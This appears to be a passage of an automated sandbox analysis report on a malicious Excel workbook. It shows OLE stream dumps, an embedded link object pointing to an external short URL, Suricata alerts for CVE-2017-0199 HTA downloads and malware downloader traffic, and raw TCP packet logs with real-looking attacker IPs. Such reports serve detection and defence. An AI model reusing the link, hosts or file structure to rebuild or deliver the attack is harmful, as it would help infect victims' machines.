Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 0d 41 7d e1 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: ThisWorkbook.cls, Stream Size: 985

General
Stream Path:	_VBA_PROJECT_CUR/VBA/ThisWorkbook
VBA File Name:	ThisWorkbook.cls
Stream Size:	985
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . A . v . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 1 . 9 .
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 0d 41 15 76 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 114

General
Stream Path:	\x1CompObj
CLSID:
File Type:	data
Stream Size:	114
Entropy:	4.25248375192737
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . F & . . . M i c r o s o f t O f f i c e E x c e l 2 0 0 3 W o r k s h e e t . . . . . B i f f 8 . . . . . E x c e l . S h e e t . 8 . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 26 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 32 30 30 33 20 57 6f 72 6b 73 68 65 65 74 00 06 00 00 00 42 69 66 66 38 00 0e 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 244

General
Stream Path:	\x5DocumentSummaryInformation
CLSID:
File Type:	data
Stream Size:	244
Entropy:	2.889430592781307
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . . . . . . . . . . . . H . . . . . . . P . . . . . . . X . . . . . . . ` . . . . . . . h . . . . . . . p . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . S h e e t 1 . . . . . S h e e t 2 . . . . . S h e e t 3 . . . . . . . . . . . . . . . . . W o r k s h e e t s . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 c4 00 00 00 08 00 00 00 01 00 00 00 48 00 00 00 17 00 00 00 50 00 00 00 0b 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00 00 00 68 00 00 00 16 00 00 00 70 00 00 00 0d 00 00 00 78 00 00 00 0c 00 00 00 a1 00 00 00 02 00 00 00 e4 04 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 200

General
Stream Path:	\x5SummaryInformation
CLSID:
File Type:	data
Stream Size:	200
Entropy:	3.2920681057018664
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . T . . . . . . . ` . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . \| . # . @ . . . i . . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 98 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 54 00 00 00 12 00 00 00 60 00 00 00 0c 00 00 00 78 00 00 00 0d 00 00 00 84 00 00 00 13 00 00 00 90 00 00 00 02 00 00 00 e4 04 00 00 1e 00 00 00 04 00 00 00

Stream Path: MBD0002FDB5/\x1CompObj, File Type: data, Stream Size: 94

General
Stream Path:	MBD0002FDB5/\x1CompObj
CLSID:
File Type:	data
Stream Size:	94
Entropy:	4.345966460061678
Base64 Encoded:	False
Data ASCII:	. . . . . . e . . D E S T . . . . . . A c r o b a t D o c u m e n t . . . . . . . . . A c r o E x c h . D o c u m e n t . D C . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 65 ca 01 b8 fc a1 d0 11 85 ad 44 45 53 54 00 00 11 00 00 00 41 63 72 6f 62 61 74 20 44 6f 63 75 6d 65 6e 74 00 00 00 00 00 15 00 00 00 41 63 72 6f 45 78 63 68 2e 44 6f 63 75 6d 65 6e 74 2e 44 43 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD0002FDB5/\x1Ole, File Type: data, Stream Size: 20

General
Stream Path:	MBD0002FDB5/\x1Ole
CLSID:
File Type:	data
Stream Size:	20
Entropy:	0.5689955935892812
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . .
Data Raw:	01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD0002FDB5/CONTENTS, File Type: PDF document, version 1.4, 2 pages, Stream Size: 51052

General
Stream Path:	MBD0002FDB5/CONTENTS
CLSID:
File Type:	PDF document, version 1.4, 2 pages
Stream Size:	51052
Entropy:	7.425009754287402
Base64 Encoded:	True
Data ASCII:	% P D F - 1 . 4 . % . 1 0 o b j . < < / C r e a t o r ( M o z i l l a / 5 . 0 \\ ( W i n d o w s N T 1 0 . 0 ; W i n 6 4 ; x 6 4 \\ ) A p p l e W e b K i t / 5 3 7 . 3 6 \\ ( K H T M L , l i k e G e c k o \\ ) C h r o m e / 1 1 2 . 0 . 0 . 0 S a f a r i / 5 3 7 . 3 6 E d g / 1 1 2 . 0 . 1 7 2 2 . 5 8 ) . / P r o d u c e r ( S k i a / P D F m 1 1 2 ) . / C r e a t i o n D a t e ( D : 2 0 2 3 0 4 2 5 0 5 4 4 5 2 + 0 0 ' 0 0 ' ) . / M o d D a t e ( D : 2 0 2 3 0 4 2 5 0 5 4 4
Data Raw:	25 50 44 46 2d 31 2e 34 0a 25 d3 eb e9 e1 0a 31 20 30 20 6f 62 6a 0a 3c 3c 2f 43 72 65 61 74 6f 72 20 28 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 5c 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 5c 29 20 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 33 37 2e 33 36 20 5c 28 4b 48 54 4d 4c 2c 20 6c 69 6b 65 20 47 65 63 6b 6f 5c 29 20 43 68 72 6f 6d 65 2f 31

Stream Path: MBD0002FDB6/\x1CompObj, File Type: data, Stream Size: 99

General
Stream Path:	MBD0002FDB6/\x1CompObj
CLSID:
File Type:	data
Stream Size:	99
Entropy:	3.631242196770981
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . ! . . . M i c r o s o f t O f f i c e E x c e l W o r k s h e e t . . . . . E x c e l M L 1 2 . . . . . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 57 6f 72 6b 73 68 65 65 74 00 0a 00 00 00 45 78 63 65 6c 4d 4c 31 32 00 00 00 00 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD0002FDB6/Package, File Type: Microsoft Excel 2007+, Stream Size: 33339

General
Stream Path:	MBD0002FDB6/Package
CLSID:
File Type:	Microsoft Excel 2007+
Stream Size:	33339
Entropy:	7.736923637750105
Base64 Encoded:	True
Data ASCII:	P K . . . . . . . . . . ! . G * t . . . . . . . . . . [ C o n t e n t _ T y p e s ] . x m l . . ( . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	50 4b 03 04 14 00 06 00 08 00 00 00 21 00 47 d3 2a 74 a1 01 00 00 f4 05 00 00 13 00 08 02 5b 43 6f 6e 74 65 6e 74 5f 54 79 70 65 73 5d 2e 78 6d 6c 20 a2 04 02 28 a0 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD0002FDB7/\x1Ole, File Type: data, Stream Size: 502

General
Stream Path:	MBD0002FDB7/\x1Ole
CLSID:
File Type:	data
Stream Size:	502
Entropy:	5.4193314803439465
Base64 Encoded:	False
Data ASCII:	. . . . } 5 P z . . . . . . . . . . . . . . . . . y . . . K . . . . h . t . t . p . s . : . / . / . e . x . i . . . l . i . n . k . / . J . k . A . P . b . L . . . ] Q x W 1 i \\ w O t . t [ m q \\ O . b ~ w H . # . , . f ` . . \\ y n . . l v m d 9 Q p . . . / ^ . > R V x o N V T V E * G 3 . k ^ . ( h ( $ v . ) } N f 0 . ? . . . . . . . . . . . . . . . . . . . B . C . D . i . u . q . I . d . A . f . w . g . e . 1 . 4 . c . J . J . E . n . j . M . o . N . R . p . d . o . Q . T . F . R . Y . t . a . d . 4 . B
Data Raw:	01 00 00 02 7d 95 35 50 90 7a 09 0c 00 00 00 00 00 00 00 00 00 00 00 00 ba 00 00 00 e0 c9 ea 79 f9 ba ce 11 8c 82 00 aa 00 4b a9 0b b6 00 00 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 65 00 78 00 69 00 2e 00 6c 00 69 00 6e 00 6b 00 2f 00 4a 00 6b 00 41 00 50 00 62 00 4c 00 00 00 d2 e9 f1 9b 5d 51 78 be 57 31 69 cb 5c cf f0 77 fb da 4f 74 f1 a2 15 c1 74 5b 6d da 71 5c 4f 02

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 352535

General
Stream Path:	Workbook
CLSID:
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	352535
Entropy:	7.998834446756102
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . / . 6 . . . . . . . : . ' O v . W , F \| 5 r V x C . . H d . j x . . . d . 8 8 4 m . . . . . . . P \\ . . . \\ . p . . . . u . u ` ^ ' " . . A B x S . m . . : r & [ G . G . . I U j . H . . > } . r Q i j H . l . . D . W + B . . . a . . . \\ . . . = . . . i 8 _ . . . 1 ^ ~ . . O . . . X T . . . . . . . . . 6 . . . . q Q . . . . . . . . . = . . . . & ~ . 5 ? . v . ` @ . . . . . . . " . . . { K . . . . e 8 . . . . . . . . 1 . . . . . ! 0 . X 6 Q M . . o . w 5 . 1 . . . * . m 5 2
Data Raw:	09 08 10 00 00 06 05 00 ab 1f cd 07 c1 00 01 00 06 04 00 00 2f 00 36 00 01 00 01 00 01 00 a1 3a 14 ab 27 90 d5 4f 9e 76 da 99 57 2c 46 7c 35 b8 72 bc 56 78 e2 43 04 19 c1 48 64 16 6a 78 01 03 18 b2 64 df b9 93 38 87 b7 38 bb 34 6d ce e1 00 02 00 b0 04 c1 00 02 00 50 5c e2 00 00 00 5c 00 70 00 f5 8d f0 e1 dd 0d 06 c9 98 98 fb 75 d1 be b9 c0 bc 75 8a f0 e6 bf 60 d5 5e 27 94 bd 22 19

Stream Path: _VBA_PROJECT_CUR/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 529

General
Stream Path:	_VBA_PROJECT_CUR/PROJECT
CLSID:
File Type:	ASCII text, with CRLF line terminators
Stream Size:	529
Entropy:	5.184073023595938
Base64 Encoded:	True
Data ASCII:	I D = " { 8 8 2 A A 4 6 D - A 1 B 9 - 4 7 0 2 - A 2 7 D - 9 C 0 9 7 C C D 4 8 E 1 } " . . D o c u m e n t = T h i s W o r k b o o k / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 1 / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 2 / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 3 / & H 0 0 0 0 0 0 0 0 . . N a m e = " V B A P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " 3 2 3 0 D C F C B A 0 0 B A 0 0 B
Data Raw:	49 44 3d 22 7b 38 38 32 41 41 34 36 44 2d 41 31 42 39 2d 34 37 30 32 2d 41 32 37 44 2d 39 43 30 39 37 43 43 44 34 38 45 31 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 57 6f 72 6b 62 6f 6f 6b 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 31 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 32 2f 26 48 30 30 30

Stream Path: _VBA_PROJECT_CUR/PROJECTwm, File Type: data, Stream Size: 104

General
Stream Path:	_VBA_PROJECT_CUR/PROJECTwm
CLSID:
File Type:	data
Stream Size:	104
Entropy:	3.0488640812019017
Base64 Encoded:	False
Data ASCII:	T h i s W o r k b o o k . T . h . i . s . W . o . r . k . b . o . o . k . . . S h e e t 1 . S . h . e . e . t . 1 . . . S h e e t 2 . S . h . e . e . t . 2 . . . S h e e t 3 . S . h . e . e . t . 3 . . . . .
Data Raw:	54 68 69 73 57 6f 72 6b 62 6f 6f 6b 00 54 00 68 00 69 00 73 00 57 00 6f 00 72 00 6b 00 62 00 6f 00 6f 00 6b 00 00 00 53 68 65 65 74 31 00 53 00 68 00 65 00 65 00 74 00 31 00 00 00 53 68 65 65 74 32 00 53 00 68 00 65 00 65 00 74 00 32 00 00 00 53 68 65 65 74 33 00 53 00 68 00 65 00 65 00 74 00 33 00 00 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/_VBA_PROJECT, File Type: data, Stream Size: 2644

General
Stream Path:	_VBA_PROJECT_CUR/VBA/_VBA_PROJECT
CLSID:
File Type:	data
Stream Size:	2644
Entropy:	3.9826042792591148
Base64 Encoded:	False
Data ASCII:	a . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 0 . # . 9 . # . C . : . \\ . P . R . O . G . R . A . ~ . 2 . \\ . C . O . M . M . O . N . ~ . 1 . \\ . M . I . C . R . O . S . ~ . 1 . \\ . V . B . A . \\ . V . B . A . 6 . \\ . V . B . E . 6 . . . D . L . L . # . V . i . s . u . a . l . . B . a . s . i . c . . F . o . r .
Data Raw:	cc 61 88 00 00 01 00 ff 09 40 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00 04 00 02 00 fa 00 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 30 00 23 00

Stream Path: _VBA_PROJECT_CUR/VBA/dir, File Type: data, Stream Size: 553

General
Stream Path:	_VBA_PROJECT_CUR/VBA/dir
CLSID:
File Type:	data
Stream Size:	553
Entropy:	6.360105151263399
Base64 Encoded:	True
Data ASCII:	. % . . . . . . . . 0 * . . . . p . . H . . . . d . . . . . . . V B A P r o j e c t . . 4 . . @ . . j . . . = . . . . r . . . . . . . . . s m h . . . . J < . . . . . r s t d o l e > . . . s . t . d . o . l . e . . . h . % . ^ . . * \\ G { 0 0 0 2 0 4 3 0 - . . . . . C . . . . . . 0 0 4 . 6 } # 2 . 0 # 0 . # C : \\ W i n d . o w s \\ S y s W O W 6 4 \\ . e 2 . . t l b # O L E . A u t o m a t i . o n . ` . . E O f f D i c E O . f . i . c E . . E . 2 D F 8 D 0 4 C . - 5 B F A - 1 0 1 B - B D E 5 E A A C 4 . 2
Data Raw:	01 25 b2 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 0a 00 1c 00 56 42 41 50 72 6f 6a 65 88 63 74 05 00 34 00 00 40 02 14 6a 06 02 0a 3d 02 0a 07 02 72 01 14 08 05 06 12 09 02 12 73 6d cc 68 08 94 00 0c 02 4a 3c 02 0a 16 00 01 72 80 73 74 64 6f 6c 65 3e 02 19 00 73 00 74 00 64 00 6f 00 80 6c 00 65 00 0d 00 68 00 25 02 5e 00 03 2a 5c 47

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Severity	Source Port	Dest Port	Source IP	Dest IP
2024-08-13T20:24:29.441065+0200	TCP	2024197	ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199)	1	80	49164	192.3.176.138	192.168.2.22
2024-08-13T20:24:57.178970+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	49175	80	192.168.2.22	193.122.6.168
2024-08-13T20:24:55.151172+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	49173	80	192.168.2.22	158.101.44.242
2024-08-13T20:24:47.619338+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	49166	80	192.168.2.22	158.101.44.242
2024-08-13T20:24:59.390779+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	49177	80	192.168.2.22	132.226.247.73
2024-08-13T20:25:01.590224+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	49178	80	192.168.2.22	158.101.44.242
2024-08-13T20:24:59.765024+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	49178	80	192.168.2.22	158.101.44.242
2024-08-13T20:25:32.528663+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	49198	443	192.168.2.22	188.114.97.3
2024-08-13T20:25:18.333240+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	49188	443	192.168.2.22	188.114.96.3
2024-08-13T20:24:52.301141+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	49169	80	192.168.2.22	193.122.130.0
2024-08-13T20:24:25.427583+0200	TCP	2024197	ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199)	1	80	49162	192.3.176.138	192.168.2.22
2024-08-13T20:25:25.747694+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	49185	80	192.168.2.22	193.122.6.168
2024-08-13T20:24:53.667052+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	49171	80	192.168.2.22	193.122.130.0
2024-08-13T20:25:13.446448+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	49183	80	192.168.2.22	132.226.8.169
2024-08-13T20:25:04.331026+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	49184	443	192.168.2.22	188.114.97.3
2024-08-13T20:24:50.568228+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	49168	443	192.168.2.22	188.114.96.3
2024-08-13T20:24:25.427448+0200	TCP	2024449	ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl	1	49162	80	192.168.2.22	192.3.176.138
2024-08-13T20:25:30.980799+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	49194	80	192.168.2.22	193.122.6.168
2024-08-13T20:25:02.001202+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	49182	443	192.168.2.22	188.114.97.3
2024-08-13T20:24:50.130991+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	49166	80	192.168.2.22	158.101.44.242
2024-08-13T20:24:29.441030+0200	TCP	2024449	ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl	1	49164	80	192.168.2.22	192.3.176.138
2024-08-13T20:25:03.875237+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	49181	80	192.168.2.22	132.226.8.169

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 13, 2024 20:24:23.866842985 CEST	49161	443	192.168.2.22	159.203.133.15
Aug 13, 2024 20:24:23.866930962 CEST	443	49161	159.203.133.15	192.168.2.22
Aug 13, 2024 20:24:23.867090940 CEST	49161	443	192.168.2.22	159.203.133.15
Aug 13, 2024 20:24:23.875926018 CEST	49161	443	192.168.2.22	159.203.133.15
Aug 13, 2024 20:24:23.875962019 CEST	443	49161	159.203.133.15	192.168.2.22
Aug 13, 2024 20:24:24.381109953 CEST	443	49161	159.203.133.15	192.168.2.22
Aug 13, 2024 20:24:24.381210089 CEST	49161	443	192.168.2.22	159.203.133.15
Aug 13, 2024 20:24:24.389750004 CEST	49161	443	192.168.2.22	159.203.133.15
Aug 13, 2024 20:24:24.389759064 CEST	443	49161	159.203.133.15	192.168.2.22
Aug 13, 2024 20:24:24.390233040 CEST	443	49161	159.203.133.15	192.168.2.22
Aug 13, 2024 20:24:24.390295029 CEST	49161	443	192.168.2.22	159.203.133.15
Aug 13, 2024 20:24:24.498312950 CEST	49161	443	192.168.2.22	159.203.133.15
Aug 13, 2024 20:24:24.544548988 CEST	443	49161	159.203.133.15	192.168.2.22
Aug 13, 2024 20:24:24.912528038 CEST	443	49161	159.203.133.15	192.168.2.22
Aug 13, 2024 20:24:24.912678957 CEST	49161	443	192.168.2.22	159.203.133.15
Aug 13, 2024 20:24:24.912703037 CEST	443	49161	159.203.133.15	192.168.2.22
Aug 13, 2024 20:24:24.912734985 CEST	443	49161	159.203.133.15	192.168.2.22
Aug 13, 2024 20:24:24.912796021 CEST	49161	443	192.168.2.22	159.203.133.15
Aug 13, 2024 20:24:24.912817955 CEST	49161	443	192.168.2.22	159.203.133.15
Aug 13, 2024 20:24:24.914089918 CEST	49161	443	192.168.2.22	159.203.133.15
Aug 13, 2024 20:24:24.914103031 CEST	443	49161	159.203.133.15	192.168.2.22
Aug 13, 2024 20:24:24.914113998 CEST	49161	443	192.168.2.22	159.203.133.15
Aug 13, 2024 20:24:24.914155006 CEST	49161	443	192.168.2.22	159.203.133.15
Aug 13, 2024 20:24:24.938560009 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:24.944363117 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:24.944773912 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:24.944986105 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:24.950156927 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.427314043 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.427376032 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.427411079 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.427447081 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.427448034 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.427470922 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.427500963 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.427582979 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.427634001 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.427669048 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.427700996 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.427733898 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.427767038 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.427767992 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.427789927 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.427820921 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.432523966 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.432573080 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.432593107 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.432619095 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.432862997 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.433033943 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.438957930 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.514126062 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.514175892 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.514209986 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.514257908 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.514297009 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.514317989 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.514409065 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.514441967 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.514476061 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.514659882 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.514957905 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.515007019 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.515022039 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.515043974 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.515063047 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.515079975 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.515094995 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.515129089 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.515294075 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.515357018 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.515377998 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.515413046 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.515428066 CEST	49162	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:25.515455008 CEST	80	49162	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:25.515458107 CEST	49162	80	192.168.2.22	192.3.176.138
